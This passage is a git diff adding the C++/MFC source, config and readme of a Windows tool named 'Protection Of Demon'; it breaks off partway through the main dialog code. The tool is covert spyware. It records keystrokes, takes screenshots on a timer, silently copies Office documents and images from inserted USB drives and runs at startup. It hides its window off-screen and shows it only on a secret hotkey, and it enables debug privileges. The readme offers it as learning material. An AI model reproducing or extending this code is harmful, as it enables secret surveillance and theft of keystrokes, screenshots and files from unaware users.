diff --git a/exe/Config.ini b/exe/Config.ini new file mode 100644 index 0000000..1dd189c --- /dev/null +++ b/exe/Config.ini @@ -0,0 +1,15 @@ +[Keyboard Record] +Keyboard Check=1 +[Auto Run] +AutoRun=1 +[U Disk Copy] +All Files=0 +exe=0 +jpg_png_bmp=1 +doc_docx=1 +ppt_pptx=1 +xls_xlsx=1 +mp3_wav=0 +mp4_avi_rmvb_mkv=0 +[Screen Capture] +Time=20s diff --git a/exe/Protection Of Demon.exe b/exe/Protection Of Demon.exe new file mode 100644 index 0000000..ffd7a4a Binary files /dev/null and b/exe/Protection Of Demon.exe differ diff --git a/exe/skin/AquaOS.ssk b/exe/skin/AquaOS.ssk new file mode 100644 index 0000000..ce38836 Binary files /dev/null and b/exe/skin/AquaOS.ssk differ diff --git a/exe/skin/SkinPPWTL.h b/exe/skin/SkinPPWTL.h new file mode 100644 index 0000000..5a875ab --- /dev/null +++ b/exe/skin/SkinPPWTL.h @@ -0,0 +1,237 @@ +#ifndef _SKINPPWTL_H_ +#define _SKINPPWTL_H_ + +#ifdef _SKINPP_STATIC + #define SKINPPWTL_API +#else + #ifdef SKINPPWTL_EXPORTS + #define SKINPPWTL_API __declspec(dllexport) + #else + #define SKINPPWTL_API __declspec(dllimport) + #endif +#endif + +#define WM_TOOLBARPAINTPRE (WM_USER + 802) +#define WM_TOOLBARPAINTEND (WM_USER + 803) + +#define SM_LBUTTONUP (WM_USER + 804) + +//按钮状态 +enum BUTTONSTATE +{ + NORMAL = 0, + PRESS = 1, + DISABLE = 2, + HOT = 3, + FOCUS = 4, + LAST = 5 +}; + +//绘制类型 +enum DRAWTYPE +{ + BUTTON = 0, + SCROLLARROWUP = 1, + SCROLLARROWDOWN = 2, + SPLITTERBARHORZ = 3, + SPLITTERBARVERT = 4, + SPLITTERBARBORDER = 5, + LISTHEAD = 6 +}; + +//获得皮肤资源的类型 +enum SKINOBJTYPE +{ + DIALOGTYPE = 0, + BUTTONTYPE = 1, + CHECKBOXTYPE = 2, + RADIOBOXTYPE = 3, + STATICTYPE = 4, + TRACKBARTYPE = 5, +}; + +struct ListBoxItem +{ + HIMAGELIST hImageList; + int nImageIndex; + + ListBoxItem() + { + hImageList = NULL; + nImageIndex = -1; + } +}; + +#define REST_BITMAP 0x0001 //.bmp +#define REST_ICON 0x0002 //.ico +#define REST_CURSOR 0x0003 //.cur +#define REST_ANIMATE 0x0004 //.ani + +typedef struct _ResourceInfo +{ + HGDIOBJ hGdiObj;//[OUT] + DWORD dwType; //[OUT] + int nWidth; //[OUT] + int nHeight;//[OUT] + + TCHAR szResImageName[_MAX_FNAME];//[IN] + BOOL bHorzSplit;//[IN] + int nLength;//[IN] + int nCount; //[IN] + int nIndex; //[IN] + + _ResourceInfo() + { + hGdiObj = NULL; + dwType = REST_BITMAP; + nWidth = 0; + nHeight = 0; + + _tcscpy(szResImageName,_T("")); + bHorzSplit = TRUE; + nLength = -1; + nCount = -1; + nIndex = -1; + } + +}ResInfo,* PRESINFO; + +////////////////////////////////////////////////////////////////////////// + +//加载皮肤 +//SkinFile :皮肤路径,注意可以是*.ssk,也可以是皮肤目录中的INI文件. +//bFromIni :该参数指定皮肤文件是从*.ssk读取,还是从INI文件读取. +SKINPPWTL_API BOOL skinppLoadSkin(TCHAR* szSkinFile,BOOL bFromIni = FALSE); + +SKINPPWTL_API BOOL skinppLoadSkinFromRes(HINSTANCE hInstance,LPCTSTR szResourceName, + LPCTSTR szResourceType,TCHAR* szSkinFileName); + +//移除皮肤 +SKINPPWTL_API BOOL skinppRemoveSkin(); + +//退出界面库,做清理工作。 +SKINPPWTL_API BOOL skinppExitSkin(); + +//设置ListBox控件的自画信息 +//hWnd : ListBox控件的句柄 +//nIndex : Item项的索引 +//pListBoxItem : Item项自画的结构信息 +SKINPPWTL_API void skinppSetListBoxItemDrawInfo(HWND hWnd,int nIndex,struct ListBoxItem* pListBoxItem); + +//获得换肤后的系统颜色 +//nColorIndex : 要获取的颜色类型 +SKINPPWTL_API COLORREF skinppGetSkinSysColor(int nColorIndex); + +//获得Windows系统默认的颜色 +//nColorIndex : 要获取的颜色类型 +SKINPPWTL_API COLORREF skinppGetDefaultSysColor(int nColorIndex); + +//hWnd : 对话框窗口的句柄 +//nResID : 对话框资源ID +SKINPPWTL_API BOOL skinppSetWindowResID(HWND hWnd,int nResID);//[多语言] + +SKINPPWTL_API BOOL skinppSetFreeDlgID(HWND hWnd,int nResID); + +SKINPPWTL_API BOOL skinppSetSkinResID(HWND hWnd,int nResID); + +//设置ListHeader窗口的排序信息 +//hWnd : ListHeader的窗口句柄 +//nSortColumn : 要对ListHeader排序的列的索引 +//bSortAscending: 是否为升序 +SKINPPWTL_API void skinppSetListHeaderSortInfo(HWND hWnd,int nSortColumn,BOOL bSortAscending = TRUE); + +//在给定的HDC上,指定相应的绘制类型和状态,在相应的矩形区域中进行绘制. +//hdc :目标DC +//rect :绘制区域 +//eDrawType :绘制类型,目前支持SPLITTERBARHORZ,SPLITTERBARVERT,SPLITTERBARBORDER +//nState :选择绘制状态 +SKINPPWTL_API void skinppDrawSkinObject(HDC hdc,RECT rect,DRAWTYPE eDrawType,int nState); + +//通过资源ID,获得相应类型的皮肤资源位图句柄 +//nSkinObjType : 皮肤类型,目前支持 DIALOGTYPE,BUTTONTYPE,CHECKBOXTYPE,RADIOBOXTYPE +//nResID : 资源ID +//nState : 状态,对BUTTONTYPE,CHECKBOXTYPE,RADIOBOXTYPE有效 +SKINPPWTL_API HBITMAP skinppGetResFromID(SKINOBJTYPE nSkinObjType,int nResID,int nState =0 ); + +//设置是否自己画对话框背景,该方法用在需要自己对背景进行处理的情况下. +//hWnd : 对话框的句柄 +//bErase : TRUE 为自己画背景,FALSE 为Skin++画,如果没有调用该方法,Skin++将画对话框背景. +SKINPPWTL_API void skinppSetDialogEraseBkgnd(HWND hWnd,BOOL bErase); + +//设置对话框背景是否剪切子控件区域。 +//hWnd : 对话框句柄 +//bNoClip : TRUE为不需要剪切,FALSE为需要剪切区域 +//bAllChild : TRUE为该窗体的所有子对话框都剪切. +SKINPPWTL_API void skinppSetDialogBkClipRgn(HWND hWnd,BOOL bClip,BOOL bAllChild = TRUE); + +//通过皮肤资源名称获得皮肤资源中位图 +//szName : 皮肤资源名称 +//HBITMAP : 返回资源中的位图 +SKINPPWTL_API HBITMAP skinppGetBitmapRes(LPCTSTR szName); + +//通过资源名称取资源的内存指针 +//szName : 资源名称 +//nSize : 资源大小 +//pByte : 返回值,成功返回非NULL,失败返回NULL +SKINPPWTL_API BYTE* skinppGetSkinResource(LPCTSTR szName,int& nSize); + +//通过皮肤资源的名称获得位图不被拉伸的区域值 +//szName : 皮肤资源名称 +//nTopHeight : 返回不被拉伸的顶高 +//nBottomHeight : 返回不被拉伸的底高 +//nLeftWidth : 返回不被拉伸的左宽 +//nRightWidth : 返回不被拉伸的右宽 +SKINPPWTL_API BOOL skinppGetBitmapResRect(LPCTSTR szName,int& nTopHeight,int& nBottomHeight, + int& nLeftWidth,int& nRightWidth); + +//设置窗口自画是否自己来处理,该方法用于自画部分需要自己处理的情况下 +//hWnd : 要自画的窗口句柄 +//bCustomDraw : TRUE为自己处理自画,FALSE为交给Skin++处理自画 +SKINPPWTL_API void skinppSetCustomDraw(HWND hWnd,BOOL bCustomDraw); + +//设置菜单的皮肤标识 +//hWnd : 拥有菜单的窗口句柄 +//nSkinObjectID : 菜单皮肤的标识 +SKINPPWTL_API void skinppSetMenuSkinObjectID(HWND hWnd,int nSkinObjectID); + +//设置是否对自画菜单进行换肤 +//bSkin : TRUE为换肤 +SKINPPWTL_API void skinppSetSkinOwnerMenu(BOOL bSkin); + +//对菜单进行换肤控制 +//hMenu : 想换肤的菜单句柄 +//bNoSkin : 是否换肤,TRUE为不换肤,FALSE为换肤 +SKINPPWTL_API void skinppSetDrawMenu(HMENU hMenu,BOOL bNoSkin); + +//对指定的窗口去掉皮肤,并且保证不会再被换肤,即使使用SetSkinHwnd也不会换肤. +//hWnd : 指定的窗口句柄 +//bChildNoSkin : 是否对该窗口中的子窗口去掉皮肤 +SKINPPWTL_API void skinppSetNoSkinHwnd(HWND hWnd,BOOL bChildNoSkin = TRUE); + +//对指定的窗口进行换肤 +//hWnd : 指定的窗口句柄 +//szClassName : 要子类化的Skin类型 WC_DIALOGBOX/WC_CONTROLBAR等 +SKINPPWTL_API void skinppSetSkinHwnd(HWND hWnd,LPCTSTR szClassName = NULL); + +//对指定的窗口临时去掉皮肤,可以通过SetSkinHwnd进行再次换肤 +SKINPPWTL_API void skinppRemoveSkinHwnd(HWND hWnd); + +//是对SetNoSkinHwnd的进一步处理,可以解决使用SetNoSkinHwnd引起的Debug版的断言错 +#define SETNOSKINHWND(x) {\ + HWND w=(x).UnsubclassWindow();\ + skinppSetNoSkinHwnd(w);\ + (x).SubclassWindow(w);\ +} + +//是对RemoveSkinHwnd的进一步处理,可以解决使用RemoveSkinHwnd引起的Debug版的断言错 +#define REMOVESKINHWND(x){\ + HWND w=(x).UnsubclassWindow();\ + skinppRemoveSkinHwnd(w);\ + (x).SubclassWindow(w);\ +} + +SKINPPWTL_API HGDIOBJ skinppGetResFromID(PRESINFO pResInfo); + + +#endif //_SKINPPWTL_H_ + diff --git a/exe/skin/SkinPPWTL.lib b/exe/skin/SkinPPWTL.lib new file mode 100644 index 0000000..0e78198 Binary files /dev/null and b/exe/skin/SkinPPWTL.lib differ diff --git a/exe/skin/skinppwtl.dll b/exe/skin/skinppwtl.dll new file mode 100644 index 0000000..faed7d4 Binary files /dev/null and b/exe/skin/skinppwtl.dll differ diff --git a/exe/skinppwtl.dll b/exe/skinppwtl.dll new file mode 100644 index 0000000..faed7d4 Binary files /dev/null and b/exe/skinppwtl.dll differ diff --git a/exe/浣跨敤璇存槑.txt b/exe/浣跨敤璇存槑.txt new file mode 100644 index 0000000..7f2dee7 --- /dev/null +++ b/exe/浣跨敤璇存槑.txt @@ -0,0 +1,11 @@ +操作: +直接双击运行 Protection Of Demon.exe 可执行文件, +运行后,窗口会理解隐藏,可以使用快捷键:ctrl+shift+s +来显示控制窗口,根据自己的需求来设置参数。 + + +恶魔的世界 +http://www.demongan.com +本网站的所有作品均属原创,旨在为编程爱好的的初学者提供一个学习的平台。 +版权所有 恶魔的世界,切勿用于商业用途,违者必究! +欢迎进入恶魔的世界 \ No newline at end of file diff --git a/婧愪唬鐮/Protection Of Demon.aps b/婧愪唬鐮/Protection Of Demon.aps new file mode 100644 index 0000000..0b15bed Binary files /dev/null and b/婧愪唬鐮/Protection Of Demon.aps differ diff --git a/婧愪唬鐮/Protection Of Demon.cpp b/婧愪唬鐮/Protection Of Demon.cpp new file mode 100644 index 0000000..ef85964 --- /dev/null +++ b/婧愪唬鐮/Protection Of Demon.cpp @@ -0,0 +1,109 @@ + +// Protection Of Demon.cpp : 定义应用程序的类行为。 +// + +#include "stdafx.h" +#include "Protection Of Demon.h" +#include "Protection Of DemonDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + + +// CProtectionOfDemonApp + +BEGIN_MESSAGE_MAP(CProtectionOfDemonApp, CWinApp) + ON_COMMAND(ID_HELP, &CWinApp::OnHelp) +END_MESSAGE_MAP() + + +// CProtectionOfDemonApp 构造 + +CProtectionOfDemonApp::CProtectionOfDemonApp() +{ + // 支持重新启动管理器 + m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART; + + // TODO: 在此处添加构造代码, + // 将所有重要的初始化放置在 InitInstance 中 +} + + +// 唯一的一个 CProtectionOfDemonApp 对象 + +CProtectionOfDemonApp theApp; + + +// CProtectionOfDemonApp 初始化 + +BOOL CProtectionOfDemonApp::InitInstance() +{ + skinppLoadSkin(_T(".\\skin\\AquaOS.ssk")); + + // 如果一个运行在 Windows XP 上的应用程序清单指定要 + // 使用 ComCtl32.dll 版本 6 或更高版本来启用可视化方式, + //则需要 InitCommonControlsEx()。否则,将无法创建窗口。 + INITCOMMONCONTROLSEX InitCtrls; + InitCtrls.dwSize = sizeof(InitCtrls); + // 将它设置为包括所有要在应用程序中使用的 + // 公共控件类。 + InitCtrls.dwICC = ICC_WIN95_CLASSES; + InitCommonControlsEx(&InitCtrls); + + CWinApp::InitInstance(); + + if (!AfxSocketInit()) + { + AfxMessageBox(IDP_SOCKETS_INIT_FAILED); + return FALSE; + } + + + AfxEnableControlContainer(); + + // 创建 shell 管理器,以防对话框包含 + // 任何 shell 树视图控件或 shell 列表视图控件。 + CShellManager *pShellManager = new CShellManager; + + // 激活“Windows Native”视觉管理器,以便在 MFC 控件中启用主题 + CMFCVisualManager::SetDefaultManager(RUNTIME_CLASS(CMFCVisualManagerWindows)); + + // 标准初始化 + // 如果未使用这些功能并希望减小 + // 最终可执行文件的大小,则应移除下列 + // 不需要的特定初始化例程 + // 更改用于存储设置的注册表项 + // TODO: 应适当修改该字符串, + // 例如修改为公司或组织名 + SetRegistryKey(_T("应用程序向导生成的本地应用程序")); + + CProtectionOfDemonDlg dlg; + m_pMainWnd = &dlg; + INT_PTR nResponse = dlg.DoModal(); + if (nResponse == IDOK) + { + // TODO: 在此放置处理何时用 + // “确定”来关闭对话框的代码 + } + else if (nResponse == IDCANCEL) + { + // TODO: 在此放置处理何时用 + // “取消”来关闭对话框的代码 + } + else if (nResponse == -1) + { + TRACE(traceAppMsg, 0, "警告: 对话框创建失败,应用程序将意外终止。\n"); + TRACE(traceAppMsg, 0, "警告: 如果您在对话框上使用 MFC 控件,则无法 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS。\n"); + } + + // 删除上面创建的 shell 管理器。 + if (pShellManager != NULL) + { + delete pShellManager; + } + // 由于对话框已关闭,所以将返回 FALSE 以便退出应用程序, + // 而不是启动应用程序的消息泵。 + return FALSE; +} + diff --git a/婧愪唬鐮/Protection Of Demon.h b/婧愪唬鐮/Protection Of Demon.h new file mode 100644 index 0000000..5eee18a --- /dev/null +++ b/婧愪唬鐮/Protection Of Demon.h @@ -0,0 +1,38 @@ + +// Protection Of Demon.h : PROJECT_NAME 应用程序的主头文件 +// + +#pragma once + +#ifndef __AFXWIN_H__ + #error "在包含此文件之前包含“stdafx.h”以生成 PCH 文件" +#endif + +#include "resource.h" // 主符号 + + +//****************************************************** +// 头文件 +#pragma comment(lib,".\\skin\\SkinPPWTL.lib") +#include ".\\skin\\SkinPPWTL.h" +//****************************************************** + +// CProtectionOfDemonApp: +// 有关此类的实现,请参阅 Protection Of Demon.cpp +// + +class CProtectionOfDemonApp : public CWinApp +{ +public: + CProtectionOfDemonApp(); + +// 重写 +public: + virtual BOOL InitInstance(); + +// 实现 + + DECLARE_MESSAGE_MAP() +}; + +extern CProtectionOfDemonApp theApp; \ No newline at end of file diff --git a/婧愪唬鐮/Protection Of Demon.rc b/婧愪唬鐮/Protection Of Demon.rc new file mode 100644 index 0000000..11957aa Binary files /dev/null and b/婧愪唬鐮/Protection Of Demon.rc differ diff --git a/婧愪唬鐮/Protection Of Demon.sln b/婧愪唬鐮/Protection Of Demon.sln new file mode 100644 index 0000000..608f3a6 --- /dev/null +++ b/婧愪唬鐮/Protection Of Demon.sln @@ -0,0 +1,20 @@ +锘 +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Protection Of Demon", "Protection Of Demon.vcxproj", "{D200319E-5FB2-4883-A5FC-3CB8FF81FE30}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D200319E-5FB2-4883-A5FC-3CB8FF81FE30}.Debug|Win32.ActiveCfg = Debug|Win32 + {D200319E-5FB2-4883-A5FC-3CB8FF81FE30}.Debug|Win32.Build.0 = Debug|Win32 + {D200319E-5FB2-4883-A5FC-3CB8FF81FE30}.Release|Win32.ActiveCfg = Release|Win32 + {D200319E-5FB2-4883-A5FC-3CB8FF81FE30}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/婧愪唬鐮/Protection Of Demon.v11.suo b/婧愪唬鐮/Protection Of Demon.v11.suo new file mode 100644 index 0000000..c9efb44 Binary files /dev/null and b/婧愪唬鐮/Protection Of Demon.v11.suo differ diff --git a/婧愪唬鐮/Protection Of Demon.vcxproj b/婧愪唬鐮/Protection Of Demon.vcxproj new file mode 100644 index 0000000..a6261f1 --- /dev/null +++ b/婧愪唬鐮/Protection Of Demon.vcxproj @@ -0,0 +1,138 @@ +锘 + + + + Debug + Win32 + + + Release + Win32 + + + + {D200319E-5FB2-4883-A5FC-3CB8FF81FE30} + ProtectionOfDemon + MFCProj + + + + Application + true + v110 + MultiByte + Dynamic + + + Application + false + v110_xp + true + MultiByte + Static + + + + + + + + + + + + + true + + + false + + + + Use + Level3 + Disabled + WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions) + true + + + Windows + true + + + false + true + _DEBUG;%(PreprocessorDefinitions) + + + 0x0804 + _DEBUG;%(PreprocessorDefinitions) + $(IntDir);%(AdditionalIncludeDirectories) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + + + Windows + true + true + true + RequireAdministrator + + + false + true + NDEBUG;%(PreprocessorDefinitions) + + + 0x0804 + NDEBUG;%(PreprocessorDefinitions) + $(IntDir);%(AdditionalIncludeDirectories) + + + + + + + + + + + + + + + + + + Create + Create + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/婧愪唬鐮/Protection Of Demon.vcxproj.filters b/婧愪唬鐮/Protection Of Demon.vcxproj.filters new file mode 100644 index 0000000..ca65977 --- /dev/null +++ b/婧愪唬鐮/Protection Of Demon.vcxproj.filters @@ -0,0 +1,69 @@ +锘 + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + 澶存枃浠 + + + 澶存枃浠 + + + 澶存枃浠 + + + 澶存枃浠 + + + 澶存枃浠 + + + 澶存枃浠 + + + + + 婧愭枃浠 + + + 婧愭枃浠 + + + 婧愭枃浠 + + + + + 璧勬簮鏂囦欢 + + + + + 璧勬簮鏂囦欢 + + + + + 璧勬簮鏂囦欢 + + + 璧勬簮鏂囦欢 + + + \ No newline at end of file diff --git a/婧愪唬鐮/Protection Of DemonDlg.cpp b/婧愪唬鐮/Protection Of DemonDlg.cpp new file mode 100644 index 0000000..98745e0 --- /dev/null +++ b/婧愪唬鐮/Protection Of DemonDlg.cpp @@ -0,0 +1,915 @@ + +// Protection Of DemonDlg.cpp : 实现文件 +// + +#include "stdafx.h" +#include "Protection Of Demon.h" +#include "Protection Of DemonDlg.h" +#include "afxdialogex.h" + +#include "VirtualKeyToAscii.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + + +// 用于应用程序“关于”菜单项的 CAboutDlg 对话框 + +class CAboutDlg : public CDialogEx +{ +public: + CAboutDlg(); + +// 对话框数据 + enum { IDD = IDD_ABOUTBOX }; + + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + +// 实现 +protected: + DECLARE_MESSAGE_MAP() +}; + +CAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD) +{ +} + +void CAboutDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogEx::DoDataExchange(pDX); +} + + +void CProtectionOfDemonDlg::OnFileExit() +{ + // TODO: 在此添加命令处理程序代码 + if(IDOK == ::MessageBox(NULL, "Are You Sure To Exit ?", "EXIT", MB_OKCANCEL | MB_ICONWARNING)) + { + exit(0); + } +} + + +void CProtectionOfDemonDlg::OnHelpAbout() +{ + // TODO: 在此添加命令处理程序代码 + CAboutDlg dlg; + dlg.DoModal(); +} + + +BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx) +END_MESSAGE_MAP() + + +// CProtectionOfDemonDlg 对话框 + + + +CProtectionOfDemonDlg::CProtectionOfDemonDlg(CWnd* pParent /*=NULL*/) + : CDialogEx(CProtectionOfDemonDlg::IDD, pParent) +{ + m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); + + m_bHidden = FALSE; +} + +void CProtectionOfDemonDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogEx::DoDataExchange(pDX); + DDX_Control(pDX, IDC_SLIDER_TIME, m_Time); +} + +BEGIN_MESSAGE_MAP(CProtectionOfDemonDlg, CDialogEx) + ON_WM_SYSCOMMAND() + ON_WM_PAINT() + ON_WM_QUERYDRAGICON() + ON_COMMAND(ID_FILE_EXIT, &CProtectionOfDemonDlg::OnFileExit) + ON_COMMAND(ID_HELP_ABOUT, &CProtectionOfDemonDlg::OnHelpAbout) + ON_BN_CLICKED(IDC_CHECK_KEYBOARD_RECORD, &CProtectionOfDemonDlg::OnBnClickedCheckKeyboardRecord) + ON_BN_CLICKED(IDC_BUTTON_KEYBOARD_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonKeyboardRecordSavePath) +// ON_NOTIFY(NM_CUSTOMDRAW, IDC_SLIDER_TIME, &CProtectionOfDemonDlg::OnNMCustomdrawSliderTime) +ON_NOTIFY(NM_RELEASEDCAPTURE, IDC_SLIDER_TIME, &CProtectionOfDemonDlg::OnReleasedcaptureSliderTime) +ON_BN_CLICKED(IDC_BUTTON_IMAGE_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonImageRecordSavePath) +ON_BN_CLICKED(IDC_CHECK_AUTORUN, &CProtectionOfDemonDlg::OnBnClickedCheckAutorun) +ON_BN_CLICKED(IDC_BUTTON_SHUTDOWN_TIMER, &CProtectionOfDemonDlg::OnBnClickedButtonShutdownTimer) +ON_BN_CLICKED(IDC_BUTTON_FILE_RECORD_SAVE_PATH, &CProtectionOfDemonDlg::OnBnClickedButtonFileRecordSavePath) +ON_BN_CLICKED(IDC_CHECK_COPY_FILE_ALL_FILES, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileAllFiles) +ON_BN_CLICKED(IDC_CHECK_COPY_FILE_EXE, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileExe) +ON_BN_CLICKED(IDC_CHECK_COPY_FILE_JPG_PNG_BMP, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileJpgPngBmp) +ON_BN_CLICKED(IDC_CHECK_COPY_FILE_DOC_DOCX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileDocDocx) +ON_BN_CLICKED(IDC_CHECK_COPY_FILE_XLS_XLSX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileXlsXlsx) +ON_BN_CLICKED(IDC_CHECK_COPY_FILE_PPT_PPTX, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFilePptPptx) +ON_BN_CLICKED(IDC_CHECK_COPY_FILE_MP3_WAV, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp3Wav) +ON_BN_CLICKED(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, &CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp4AviRmvbMkv) + ON_WM_DEVICECHANGE() + ON_MESSAGE(WM_HOTKEY, OnHotKey) +END_MESSAGE_MAP() + + +// CProtectionOfDemonDlg 消息处理程序 +BOOL EnablePriv() +{ + HANDLE hToken; + ::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); + + TOKEN_PRIVILEGES tkp; + ::LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid); // 修改进程权限 + + tkp.PrivilegeCount = 1; + tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + ::AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL); // 通知系统修改进程权限 + + return false; +} + + +BOOL CProtectionOfDemonDlg::OnInitDialog() +{ + CDialogEx::OnInitDialog(); + + // 将“关于...”菜单项添加到系统菜单中。 + + // IDM_ABOUTBOX 必须在系统命令范围内。 + ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); + ASSERT(IDM_ABOUTBOX < 0xF000); + + CMenu* pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu != NULL) + { + BOOL bNameValid; + CString strAboutMenu; + bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX); + ASSERT(bNameValid); + if (!strAboutMenu.IsEmpty()) + { + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); + } + } + + // 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动 + // 执行此操作 + SetIcon(m_hIcon, TRUE); // 设置大图标 + SetIcon(m_hIcon, FALSE); // 设置小图标 + + // TODO: 在此添加额外的初始化代码 + + EnablePriv(); + + // 隐藏窗口 + ModifyStyleEx(WS_EX_APPWINDOW, WS_EX_TOOLWINDOW, SWP_DRAWFRAME); + ::GetWindowRect(m_hWnd, &m_rcOldRect); + ::MoveWindow(m_hWnd, -1000, -1000, 0, 0, FALSE); + // 注册热键 + BOOL bRet = ::RegisterHotKey(m_hWnd, 1000, MOD_CONTROL | MOD_SHIFT, 'S'); // 注册的热键Ctrl+Shift+H + + ::GetModuleFileName(NULL, m_szPrivateFilePath, MAX_PATH); + GetCurrentFile(m_szPrivateFilePath, "Config.ini"); + FILE *fp = NULL; + fopen_s(&fp, m_szPrivateFilePath, "a+"); + if(NULL != fp) + { + fclose(fp); + } + GetPropertyFromPrivateFile(m_szPrivateFilePath); + + return TRUE; // 除非将焦点设置到控件,否则返回 TRUE +} + +void CProtectionOfDemonDlg::OnSysCommand(UINT nID, LPARAM lParam) +{ + if ((nID & 0xFFF0) == IDM_ABOUTBOX) + { + CAboutDlg dlgAbout; + dlgAbout.DoModal(); + } + else + { + CDialogEx::OnSysCommand(nID, lParam); + } +} + +// 如果向对话框添加最小化按钮,则需要下面的代码 +// 来绘制该图标。对于使用文档/视图模型的 MFC 应用程序, +// 这将由框架自动完成。 + +void CProtectionOfDemonDlg::OnPaint() +{ + if (IsIconic()) + { + CPaintDC dc(this); // 用于绘制的设备上下文 + + SendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0); + + // 使图标在工作区矩形中居中 + int cxIcon = GetSystemMetrics(SM_CXICON); + int cyIcon = GetSystemMetrics(SM_CYICON); + CRect rect; + GetClientRect(&rect); + int x = (rect.Width() - cxIcon + 1) / 2; + int y = (rect.Height() - cyIcon + 1) / 2; + + // 绘制图标 + dc.DrawIcon(x, y, m_hIcon); + } + else + { + CDialogEx::OnPaint(); + } +} + +//当用户拖动最小化窗口时系统调用此函数取得光标 +//显示。 +HCURSOR CProtectionOfDemonDlg::OnQueryDragIcon() +{ + return static_cast(m_hIcon); +} + + +BOOL CProtectionOfDemonDlg::GetPropertyFromPrivateFile(char *lpszPrivateFilePath) +{ + + DWORD dwTemp = 0; + if(1 == ::GetPrivateProfileInt("Keyboard Record", "Keyboard Check", 0, lpszPrivateFilePath)) + { + ::CheckDlgButton(m_hWnd, IDC_CHECK_KEYBOARD_RECORD, BST_CHECKED); + } + + m_Time.SetRange(0, 300); + dwTemp = ::GetPrivateProfileInt("Screen Capture", "Time", 0, lpszPrivateFilePath); + m_Time.SetPos(dwTemp); + char szTime[MAX_PATH] = {0}; + ::wsprintf(szTime, "%ds", dwTemp); + ::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_TIMER), szTime); + ::SetTimer(m_hWnd, 1, 1000*dwTemp, NULL); + + if(1 == ::GetPrivateProfileInt("U Disk Copy", "All Files", 0, lpszPrivateFilePath)) + { + ::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_ALL_FILES, BST_CHECKED); + } + if(1 == ::GetPrivateProfileInt("U Disk Copy", "exe", 0, lpszPrivateFilePath)) + { + ::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_EXE, BST_CHECKED); + } + if(1 == ::GetPrivateProfileInt("U Disk Copy", "jpg_png_bmp", 0, lpszPrivateFilePath)) + { + ::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_JPG_PNG_BMP, BST_CHECKED); + } + if(1 == ::GetPrivateProfileInt("U Disk Copy", "doc_docx", 0, lpszPrivateFilePath)) + { + ::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_DOC_DOCX, BST_CHECKED); + } + if(1 == ::GetPrivateProfileInt("U Disk Copy", "ppt_pptx", 0, lpszPrivateFilePath)) + { + ::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_PPT_PPTX, BST_CHECKED); + } + if(1 == ::GetPrivateProfileInt("U Disk Copy", "xls_xlsx", 0, lpszPrivateFilePath)) + { + ::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_XLS_XLSX, BST_CHECKED); + } + if(1 == ::GetPrivateProfileInt("U Disk Copy", "mp3_wav", 0, lpszPrivateFilePath)) + { + ::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_MP3_WAV, BST_CHECKED); + } + if(1 == ::GetPrivateProfileInt("U Disk Copy", "mp4_avi_rmvb_mkv", 0, lpszPrivateFilePath)) + { + 